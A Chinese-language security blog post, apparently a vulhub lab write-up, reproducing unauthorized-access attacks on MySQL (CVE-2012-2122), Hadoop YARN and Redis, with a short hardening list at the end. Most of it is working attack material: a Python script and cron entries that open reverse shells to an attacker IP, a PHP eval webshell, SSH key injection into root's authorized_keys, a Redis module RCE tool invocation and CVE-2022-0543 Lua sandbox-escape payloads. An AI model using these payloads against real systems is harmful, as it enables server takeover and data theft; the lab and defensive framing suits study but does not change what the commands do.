网站开发转码手机,wordpress链接按钮,wordpress主题滑动,建行个人余额查询网站目录 数据库安全-RedisHadoopMysql未授权访问RCE定义漏洞复现Mysql-CVE-2012-2122 漏洞Hadoop-配置不当未授权三重奏RCE 漏洞 Redis-未授权访问-Webshell任务密匙RCE 等漏洞定义#xff1a;漏洞成因漏洞危害漏洞复现Redis-未授权… 目录 数据库安全-RedisHadoopMysql未授权访问RCE定义漏洞复现Mysql-CVE-2012-2122 漏洞Hadoop-配置不当未授权三重奏RCE 漏洞 Redis-未授权访问-Webshell任务密匙RCE 等漏洞定义漏洞成因漏洞危害漏洞复现Redis-未授权访问-Webshell定时任务密匙RCEredis命令执行RCEredis沙箱绕过(CVE-2022-0543) 加固思路 数据库安全-RedisHadoopMysql未授权访问RCE
定义 未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露包括端口的未授权常见页面的未授权 /admin.php /menu.php 常见的未授权访问漏洞及默认端口 默认端口统计 [21, 139, 873, 2049, 2181, 2182, 2375, 5601, 5672, 5900, 5901, 5984, 6379, 6443, 8080, 8088, 8095, 8161, 9100, 9200, 9300, 11211, 15672, 15692, 20048, 25672, 27017]等待 漏洞复现
Mysql-CVE-2012-2122 漏洞
靶场环境vulhub 开启环境执行payload
通过循环不断发送登录请求
for i in seq 1 1000; do mysql -uroot -pwrong -h you-ip -P3306 ; done 执行等待过后会直接进入到数据库当中 成功进入 Hadoop-配置不当未授权三重奏RCE 漏洞
靶场环境vulhub 打开进入环境 payload
#!/usr/bin/env pythonimport requeststarget http://192.168.100.134:8088/
lhost 192.168.100.1 # put your local host ip here, and listen at port 9999url target ws/v1/cluster/apps/new-application
resp requests.post(url)
app_id resp.json()[application-id]
url target ws/v1/cluster/apps
data {application-id: app_id,application-name: get-shell,am-container-spec: {commands: {command: /bin/bash -i /dev/tcp/%s/9999 01 % lhost,},},application-type: YARN,
}
requests.post(url, jsondata)攻击端开启监听
nc -lvvp 9999执行python脚本
成功反弹 可执行命令 Redis-未授权访问-Webshell任务密匙RCE 等
redis是一个非常快速的开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的数据库
提供多种语言的 APIjava/c/c/c#/php/javascript/
漏洞定义 redis未授权访问漏洞是一个有域redis服务器版本较低其未设置登录密码导致的漏洞攻击者可直接利用redis服务器的IP地址和端口完成redis服务器的远程登录对目标服务器完成后续的控制和利用。 漏洞成因 1.redis版本 4.x/5.0.5或以前的版本 2.redis绑定在0.0.0.06379且没有进行添加防火墙规则避免其他飞信人来源IP访问等相关安全策略直接暴露在公网。 3.没有设置密码认证一般为空可以免密码远程登录redis服务。 漏洞危害 攻击者可通过redis命令向目标服务器写入计划任务来反弹shell完成服务器的控制攻击者可通过redis命令向网站目录写入webshell完成对目标网站服务器的初步控制最严重如果redis以root身份运行黑客可以给root账户写入SSH公钥文件直接通过SSH登录受害服务器。 漏洞复现
Redis-未授权访问-Webshell定时任务密匙RCE
漏洞验证 验证思路 未授权访问漏洞的本质就是不需要用户密码就可以完成服务器的登录所以验证思路很简单只要能使用攻击机无密码登录目标服务器漏洞就存在。 服务端开启redis服务 攻击机器redis-cli -h IP 连接redis服务器 登录之后输入info出现内容证明验证成功 漏洞利用
漏洞利用方式
1、写计划任务反弹shell
利用过程
目标运行redis服务器
攻击连接redis服务器利用攻击机将计划任务写进服务器
config set dir /var/spool/cron //写入的目录 计划文件夹
config set dbfilename root //写入的文件名自定义命名即可
set ssr \n\n*/1****/bin/bash -i /dev/tcp/攻击IP/1234 01\n\n
//写入的内容
save //保存攻击机
执行 nc -lvvp 1234 稍等片刻 黑客机接收到目标机的shell
使用crontab -l 可查看目标机器原来写入的计划任务2、写webshell
config set dir /var/www/html
config set dbfilename shell.php
set webshell ?php eval($_POST[cmd]); ? //webshell后门
save3、写SSH公钥实现登录
1攻击机和靶机打开SSH服务
命令systemctl start ssh没有的话用apt命令安装或yum安装2在目标机创建SSH公钥可写目录
命令mkdir /root/.ssh //ls -al 进行查看是否创建成功3清空攻击机/root/.ssh目录下的文件方便区分一会要生成并存放进其中的SSH公钥文件
命令rm -rf *4在攻击机生成SSH公钥需要连续敲击三下回车
命令ssh-keygen -t rsa5在攻击机上切换至公钥存放目录
命令cd /root/.ssh6将公钥写入1.txt前后用\n避免和redis里其他缓存数据混合不用会一直失败
(echo -e \n\n;cat id_rsa.pub;echo -e\n\n) 1.txt将1.txt的文本内容带入登录目标机redis服务器的过程中后续可以直接在目标机上设置目标文件并写入
命令
cat 1.txt | redis-cli -h 目标IP -x set crack //将1.txt的内容设置为crack(设置的名称)命名自定义即可使用redis-cli -h 目标IP 连接目标机器并执行以下命令将本地SSH公钥写入目标机
config set dir /root/.ssh
config get dir
config set dbfilename authorized_keys
save
在攻击机使用ssh免密登录
cd /root/.ssh
ssh -i id_rsa root目标IPredis命令执行RCE
靶场环境vulhub 开启环境并进入验证输入info并执行说明存在未授权 自动化工具使用
直接使用直接干
工具地址
payload:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c idpython3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c whoami//还可将命令换成反弹shell命令进行反弹。执行结果 换一条命令再次尝试
whoami 成功执行命令。
还可以将命令换成反弹shell命令进行一个反弹。
redis沙箱绕过(CVE-2022-0543)
靶场环境vulhub 打开进入环境
payload:
eval local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(id, r); local res f:read(*a); f:close(); return res 0eval local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(whoami, r); local res f:read(*a); f:close(); return res 0//也可以换成反弹shell命令进行一个反弹执行结果 加固思路
1.升级 2.修改6379 3.设置密码认证 4.设置防火墙